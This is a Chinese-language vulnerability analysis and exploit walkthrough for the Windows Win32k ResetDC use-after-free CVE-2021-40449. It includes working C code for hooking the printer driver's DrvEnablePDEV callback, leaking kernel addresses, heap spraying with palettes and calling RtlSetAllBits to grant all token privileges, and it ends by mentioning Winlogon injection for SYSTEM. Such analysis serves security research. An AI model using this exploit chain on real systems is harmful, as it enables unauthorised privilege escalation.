CVE-2021-40449

0x00 前言

  • 漏洞名称:Windows Win32K 权限提升漏洞

  • 漏洞编号:CVE-2021-40449

  • 漏洞类型:UAF

  • 漏洞影响:本地权限提升

  • 基础权限:普通权限

  • 影响版本:

    Windows Server, version 2004/20H2(Server Core Installation)

    Windows 10 Version 1607/1809/1909/2004/20H2/21H1

    Windows 7 for 32/64-bit Systems Service Pack 1

    Windows Server 2008/2012/2016/2019/2022

    Windows 11 for ARM64-based Systems

    Windows 11 for x64-based Systems

    Windows 8.1 for 32/64-bit systems

    Windows RT 8.1

0x01 基础知识

1.1 ResetDC

该函数根据指定结构中的信息更新给定打印机或绘图仪的设备上下文环境。

函数原型:

HDC ResetDCA(
  [in] HDC            hdc,
  [in] const DEVMODEA *lpdm
);

hdc:将要更新的设备上下文环境的句柄。

lpInitData:指向包含新设备上下文环境信息的DEVMODE结构的指针。

返回值:如果成功,返回值为原始设备上下文环境的句柄;如果失败,返回值为NULL。

注释:当一个窗口按收一个WM_DEVMODECHANGE消息时,应用程序一般将使用函数ResetDC,ResetDC函数也可以在打印文档的时候改变纸张定位和纸张接收器。ResetDC函数不能用来改变驱动程序名、设备名或者输出端口。当用户改变通讯口连接或者改变设备名时,应用程序必须删除原始设备上下文环境,并根据新的信息创建一个新的设备上下文环境。应用程序可以把一信息设备上下文环境传递给ResetDC函数。这种情况下,ResetDC通常会返回一个打印机设备上下文环境。

此函数在执行时会创建一个新的 HDC 对象。

1.2 DrvEnableDriver

DrvEnableDriver函数是驱动程序DLL导出的初始驱动程序入口点。它用驱动程序支持的图形DDI版本号和所有图形DDI函数的调用地址填充DRVENABLEDATA结构,此函数会获取驱动程序DLL的用户模式回调表,包含用户模式回调函数的索引和地址。

其函数结构如下:

BOOL DrvEnableDriver(
       ULONG         iEngineVersion, // 标识当前运行的GDI版本
       ULONG         cj,             // 是pded指向的结构的大小(以字节为单位)
  [in] DRVENABLEDATA *pded           // 指向DRVENABLEDATA结构的指针
);

DRVENABLEDATA结构如下:

typedef struct tagDRVENABLEDATA {
  ULONG iDriverVersion; // 图形DDI版本号
  ULONG c;              // 指定由pdrvfn成员指向的缓冲区中DRVFN结构的数量
  DRVFN *pdrvfn;        // 指向包含DRVFN结构数组的缓冲区的指针
} DRVENABLEDATA, *PDRVENABLEDATA;

DRVFN 结构如下:

typedef struct _DRVFN {
  ULONG iFunc; // 标识由驱动程序实现的图形DDI函数的函数索引
  PFN   pfn;   // 指定驱动程序定义的图形DDI函数的地址
} DRVFN, *PDRVFN;

0x02 漏洞分析

漏洞存在于 win32kfull!NtGdiResetDC。

2.1 ResetDC 流程分析

IDA 打开 gdi32!ResetDCW

经过一些判断后,会调用 gdi32full!ResetDCWImpl

继续跟进 gdi32full!ResetDCWInternal

如果pldcGet() 返回结果 v6 不为0,且 *(v6+8) ≥0 ,则会调用 NtGdiResetDC

用以下代码结合 windbg 调试 gdi32full!ResetDCWInternal

#include <Windows.h>

LPSTR printerName;
HDC hdc;

BOOL PrinterUserModeCallbackHOOK()
{
  DWORD pcbNeeded, pcbReturned = 0;
  PRINTER_INFO_4A* pPrinterInfo, * pPrinterEnum = NULL;
  BOOL result = FALSE;
  HANDLE hPrinter = NULL;
  DRIVER_INFO_2A* PrinterDriverInfo;
  HMODULE hModule = NULL;

  // 获取 PRINTER_INFO_4A 结构数组 size
  printf("[*] Finding Printer...\n");
  EnumPrintersA(PRINTER_ENUM_LOCAL, NULL, 4, NULL, 0, &pcbNeeded, &pcbReturned);
  if (pcbNeeded <= 0)
  {
    printf("[-]Failed to get PRINTER_INFO_4A size\n");
    return FALSE;
  }

  pPrinterEnum = (PRINTER_INFO_4A *)malloc(pcbNeeded);
  if (pPrinterEnum == NULL)
  {
    printf("[-]Failed to allocate memory\n");
    return FALSE;
  }

  // 保存所有的 PRINTFER_INFO_4A 结构体到内存中
  result = EnumPrintersA(PRINTER_ENUM_LOCAL, NULL, 4, (LPBYTE)pPrinterEnum, pcbNeeded, &pcbNeeded, &pcbReturned);
  if (!result || pcbReturned <=0)
  {
    printf("[-] Failed to store PRINTF_INFO_4A\n");
    return FALSE;
  }

  // 找到可用的打印机驱动
  for (DWORD i = 0; i <= pcbReturned; i++)
  {
    pPrinterInfo = &pPrinterEnum[i];
    printf("[*] Using printer: %s\n", pPrinterInfo->pPrinterName);

    // 打开找到的驱动
    result = OpenPrinterA(pPrinterInfo->pPrinterName, &hPrinter, NULL);
    if (!result)
    {
      printf("[-] Failed to open printer: %s\n", pPrinterInfo->pPrinterName);
      continue;
    }
    printf("[+]Open %s successfully\n",pPrinterInfo->pPrinterName);
    printerName = pPrinterInfo->pPrinterName;

    // 获取打印机驱动
    GetPrinterDriverA(hPrinter, NULL, 2, NULL, 0, &pcbNeeded);
    PrinterDriverInfo = (DRIVER_INFO_2A*)malloc(pcbNeeded);
    result = GetPrinterDriverA(hPrinter, NULL, 2, (LPBYTE)PrinterDriverInfo, pcbNeeded, &pcbNeeded);
    if (!result)
    {
      printf("[-] Failed to get printer driver\n");
      continue;
    }
    printf("[*] Driver DLL: %s\n", PrinterDriverInfo->pDriverPath);

    // 将打印机驱动加载进内存
    hModule = LoadLibraryExA(PrinterDriverInfo->pDriverPath, NULL, LOAD_WITH_ALTERED_SEARCH_PATH);
    if (hModule == NULL)
    {
      printf("[-] Failed to load printer driver\n");
      continue;
    }
    printf("[+] Load printer driver successfully\n");

    printf("[+] Hook usermode callback successfully\n");
    return TRUE;
  }
  return FALSE;
} 

int main() 
{
  BOOL res = PrinterUserModeCallbackHOOK();
  if (!res)
  {
    printf("[-] Failed to hook usermode callback\n");
    return FALSE;
  }

  // 为打印机创建设备上下文
  hdc = CreateDCA(NULL, printerName, NULL, NULL);
  if (hdc == NULL)
  {
    printf("[-] Failed to create device context\n");
    return FALSE;
  }
  printf("[+] Create device context successfully\n");

  DebugBreak();
  ResetDC(hdc, NULL);
}

断点下在 ResetDCWInternal+164

程序运行过程中果然会命中,说明之前的判断都成立,在 IDA 中跟进 Win32u!NtGdiResetDC:

2.2 win32kfull!GreResetDCInternal

程序运行会走到 win32kfull!GreResetDCInternal,IDA 查看:

简化一下需要注意的代码

void (__fastcall *v19)(_QWORD, _QWORD); // rax

DCOBJ::DCOBJ((DCOBJ *)v27, hdc);              // 根据原hdc创建 hdcobj
v10 = v27[0];
v11 = *((_QWORD *)v10 + 6);

v17 = (HDC)hdcOpenDCW(&word_1C02DA1B8, a2, 0i64, 0i64, *(_QWORD *)(v11 + 0xA00), v26, a4, a5, 0);// 创建新的 HDC 对象
DCOBJ::DCOBJ((DCOBJ *)v28, v17);        // 创建 hdcobj2

v19 = *(void (__fastcall **)(_QWORD, _QWORD))(v11 + 0xAB8);

if ( v19 )
    v19(*(_QWORD *)(v11 + 0x708), *(_QWORD *)(*((_QWORD *)v28[0] + 6) + 0x708i64));

从这里可以看出, rax = v19 = *(*(hdcobj+6)+0xAB8),随后会 call r9/rax,IDA 来看这段是:

虽然使用 hdcOpenDCW 创建了新的 hdc 对象,但是漏洞触发点仍然使用的是旧的 hdcobj,如果可以控制旧的 hdcobj,也就可以间接控制 rax 和 rcx,也就可以间接控代码流程为 rax(rcx)。

2.3 UserModeCallback

由于需要控制旧的hdcobj,那就可以在漏洞触发点之前再次执行一次 ResetDC,再利用堆喷的方法获取到旧hdcobj 的内存。因此在漏洞触发点之前要找到 User Mode Callback,进行 hook 才能实现,而 hdcOpenDCW 就存在这样的回调。

参考 eu-20-Han-Discovery-20-Yeas-Old-Vulnerabilities-In-Modern-Windows-Kernel.pdf,打印机图形DLL与 GDI 渲染引擎工作情况如图:

内核模式的打印机图形DLL存在用户模式回调,UMPD(User Mode Printer DLL) 将导出DrvXxx回调函数,在GDI内核进程图形绘制操作时由GRE调用,调用栈中一定会命中的函数有 USER32!__ClientPrinterThunk。

win32kfull!GreResetDCInternal 中调用了 win32kbase!hdcOpenDCW,hdcOpenDCW 会执行用户模式的回调,这里下四个断点查看其过程:

bu GreResetDCInternal 
bu GreResetDCInternal+113 // win32kbase!hdcOpenDCW
bu USER32!__ClientPrinterThunk // callback func
bu GreResetDCInternal+11A // win32kbase!hdcOpenDCW ret

IDA 继续跟进:

调用 gdi32!GdiPrinterThunk,在windbg 中下断点,继续跟进会调用 gdi32full!GdiPrinterThunk,对其下断点,在第三次调用时调用到 __guard_dispatch_icall_fptr,可看到如下调用栈:

继续跟进可看到:

可以看到程序流程会走到 mxdwdrv!DrvEnablePDEV,查看调用栈:

此时就完成了一次 User Mode Callback。

继续向下执行会执行到 hdcOpenDCW 的下一行,因此可以确定 hook DrvEnablePDEV 函数,可在漏洞触发点之前得到一次 User Mode Callback 的机会。

0x03 漏洞利用(win10 1809)

在 ResetDC 执行过程中,会执行到 hdcOpenDCW,此函数会进行一次用户模式回调,随后利用原hdcobj进行调用,因此如果hook用户模式回调的函数,在hook代码中再次执行一次 ResetDC,利用堆喷的方法获取到原hdcobj 的内存,就可以控制修改原hdcobj,进而获得一次内核模式下函数调用的机会。

参考 KaLendsi EXP,分析此漏洞在 win10 17763 上的利用过程。

2.1 准备工作

EXP 是通过 RtlSetAllBits 对 _SEP_TOKEN_PRIVILEGES 实现的提权。

2.1.1 _SEP_TOKEN_PRIVILEGES

每一个进程都有一个 eprocess 结构,里面包含了进程的各种信息,Token就存储在 eprocess+0x358:

Token 中管理权限的属性是 PRIVILEGES,其结构是 SEP TOKEN_PRIVILEGES,存储在 Token+0x40 中:

查看其结构:

Present:表示当前Token所拥有的权限,并不代表这些权限启用或者禁用,一旦一个Token创建了,则无法再给其增加权限,只能是启用或者禁用这里的特定权限。

Enabled:代表当前Token所有启用的权限。

EnableByDefault:代表令牌在默认时启用的权限

因此如果修改 Present位 和 Enabled 位为1,就可以启用所有权限。

要修改就需要找到当前进程的 token 的内核基地址,利用 NtQuerySystemInformation 函数,如 NtQuerySysInfo_SystemHandleInformation

EXP也是一样的方法:

DWORD64 GetKernelPointer(HANDLE handle, DWORD type)
{
  // 申请0x20的空间
  PSYSTEM_HANDLE_INFORMATION buffer = (PSYSTEM_HANDLE_INFORMATION)malloc(0x20);

  DWORD outBuffer = 0;
  // 查询自身拥有的所有句柄信息
  NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, 0x20, &outBuffer);

  if (status == (NTSTATUS)0xC0000004L)
  {
    free(buffer);
    buffer = (PSYSTEM_HANDLE_INFORMATION)malloc(outBuffer);
    status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, outBuffer, &outBuffer);
  }

  if (!buffer)
  {
    printf("[-] NtQuerySystemInformation error \n");
    return 0;
  }

  for (size_t i = 0; i < buffer->NumberOfHandles; i++)
  {
    DWORD objTypeNumber = buffer->Handles[i].ObjectTypeIndex;

    // type 0x5 token
    if (buffer->Handles[i].UniqueProcessId == GetCurrentProcessId() && buffer->Handles[i].ObjectTypeIndex == type)
    {
      if (handle == (HANDLE)buffer->Handles[i].HandleValue)
      {
        DWORD64 object = (DWORD64)buffer->Handles[i].Object;
        free(buffer);
        return object;
      }
    }
  }
  printf("[-] handle not found\n");
  free(buffer);
  return 0;
}

2.1.2 RtlSetAllBits

RtlSetAllbits 可以用来修改内核地址值为0xff,若有内核调用机会,可用来修改 _SEP_TOKEN_PRIVILEGES,将 Present位 和 Enabled 位置1,就可以启用所有权限,即完成提权。

看一下 ntoskenl.exe!RtlSetAllBits:

可以看到 RtlSetAllBits 会调用 memset,将 BitMapHeader→Buffer 前 8*(v2»1)的字符覆盖为 0xff,因此通过控制 BitMapHeader→SizeOfBitMap 的值就可以控制写入的数量。

因为 ntoskrnl!RtlSetAllBits 属于内核函数,故需要泄露 ntoskrnl内核基地址,如 NtQuerySysInfo_SystemModuleInformation.cpp

exp 也是一样的方法:

DWORD64 GetModuleAddr(const char* modName)
{
  PSYSTEM_MODULE_INFORMATION buffer = (PSYSTEM_MODULE_INFORMATION)malloc(0x20);

  DWORD outBuffer = 0;
  NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, buffer, 0x20, &outBuffer);
  
  for (unsigned int i = 0; i < buffer->NumberOfModules; i++)
  {
    PVOID kernelImageBase = buffer->Modules[i].ImageBase;
    PCHAR kernelImage = (PCHAR)buffer->Modules[i].FullPathName;
    if (_stricmp(kernelImage, modName) == 0)
    {
      free(buffer);
      return (DWORD64)kernelImageBase;
    }
  }
  free(buffer);
  return 0;
}

通过 ntoskrnl.exe 的内核基地址,还需要通过偏移找到 RtlSetAllBits 的地址。

DWORD64 GetGadgetAddr(const char* name)
{
  DWORD64 base = GetModuleAddr("\\SystemRoot\\system32\\ntoskrnl.exe");
  HMODULE mod = LoadLibraryEx(L"ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
  if (!mod)
  {
    printf("[-] leaking ntoskrnl version\n");
    return 0;
  }
  DWORD64 offset = (DWORD64)GetProcAddress(mod, name);
  DWORD64 returnValue = base + offset - (DWORD64)mod;
  //printf("[+] FunAddr: %p\n", (DWORD64)returnValue);
  FreeLibrary(mod);
  return returnValue;
}

2.2 UMPD Callback hook

漏洞的关键在于 hook UMPD Callback Function 和 UAF,因此第一步是找到 UMPD Callback Function 并进行 Hook。

首先需要找到可用的打印机驱动并加载到内存中,也就是2.1节的测试代码。

通过 DrvEnableDriver 获取该驱动的用户模式回调表,并赋予可读写的权限:

res = DrvEnableDriver(DDI_DRIVER_VERSION_NT4, sizeof(DRVENABLEDATA), &drvEnableData);
res = VirtualProtect(drvEnableData.pdrvfn, drvEnableData.c * sizeof(PFN), PAGE_READWRITE, &lpflOldProtect);

循环查找回调表找到 DrvEnablePDEV,保存原回调地址,覆盖为 hook 的函数地址:

typedef struct _DriverHook
{
  ULONG index;
  FARPROC func;
} DriverHook;

DHPDEV hook_DrvEnablePDEV(DEVMODEW* pdm, LPWSTR pwszLogAddress, ULONG cPat, HSURF* phsurfPatterns, ULONG cjCaps, ULONG* pdevcaps, ULONG cjDevInfo, DEVINFO* pdi, HDEV hdev, LPWSTR pwszDeviceName, HANDLE hDriver);

DriverHook driverHooks = {INDEX_DrvEnablePDEV, (FARPROC)hook_DrvEnablePDEV };

------------------------------------------------------------------------------------------------------
      for (DWORD n = 0; n < drvEnableData.c; n++)
      {
        ULONG iFunc = drvEnableData.pdrvfn[n].iFunc;

        // Check if hook INDEX matches entry INDEX
        if (driverHooks[i].index == iFunc)
        {
          // Saved original function pointer
          globals::origDrvFuncs = (VoidFunc_t)drvEnableData.pdrvfn[n].pfn;
          // Overwrite function pointer with hook function pointer
          drvEnableData.pdrvfn[n].pfn = (PFN)driverHooks[i].func;
          break;
        }
      }

替换后恢复环境:

DrvDisableDriver();
VirtualProtect(drvEnableData.pdrvfn, drvEnableData.c * sizeof(PFN), lpflOldProtect, &_lpflOldProtect);

2.3 hook_DrvEnablePDEV

DrvEnablePDEV 原函数在微软官方是有解释的,其结构如下:

DHPDEV DrvEnablePDEV(
  [in]           DEVMODEW *pdm,
  [in]           LPWSTR   pwszLogAddress,
                 ULONG    cPat,
  [in, optional] HSURF    *phsurfPatterns,
                 ULONG    cjCaps,
  [out]          ULONG    *pdevcaps,
                 ULONG    cjDevInfo,
  [out]          DEVINFO  *pdi,
                 HDEV     hdev,
  [in]           LPWSTR   pwszDeviceName,
                 HANDLE   hDriver
);

因此 hook_DrvEnablePDEV 也是相同的结构,这样在函数中可以再次调用原函数,获得结果返回以保证不影响程序正常运行。

DHPDEV res = ((DrvEnablePDEV_t)globals::origDrvFuncs[INDEX_DrvEnablePDEV])(pdm, pwszLogAddress, cPat, phsurfPatterns, cjCaps, pdevcaps, cjDevInfo, pdi, hdev, pwszDeviceName, hDriver);

随后可以再次执行 ResetDCA,造成原DC的对象的结构异常

HDC tmp_hdc = ResetDCA(globals::hdc, NULL);

最后使用堆喷的方法申请到原DC对象的内存。

2.4 UAF

EXP 是通过 CreatePalette 进行内存的申请,具体申请的过程在 GDI对象利用 中有相关阐述

int pal_cnt = (size - 0x90) / 4;
int palsize = sizeof(LOGPALETTE) + (pal_cnt - 1) * sizeof(PALETTEENTRY);
LOGPALETTE* lPalette = (LOGPALETTE*)malloc(palsize);
lPalette->palNumEntries = pal_cnt;
lPalette->palVersion = 0x300;
return CreatePalette(lPalette);

申请的过程中会看到:

  p[0x15B] = GadgetAddr; // RtlSetAllBits FuncAddress

  p[0xE5] = Fake_RtlBitMapAddr; // token.privileges

这是因为在通过喷射的方法获得指定内存后,需要在一定的偏移进行覆盖才能覆盖到。

分析内存大小的文章参考 https://www.wangan.com/p/7fygf309c52e2678

2.5 Winlogon.exe

在修改完 _SEP_TOKEN_PRIVILEGES 后,获得SE_DEBUG_PRIVILEGE,此时注入 Winlogon进程执行shellcode,即可获得 system 权限进程。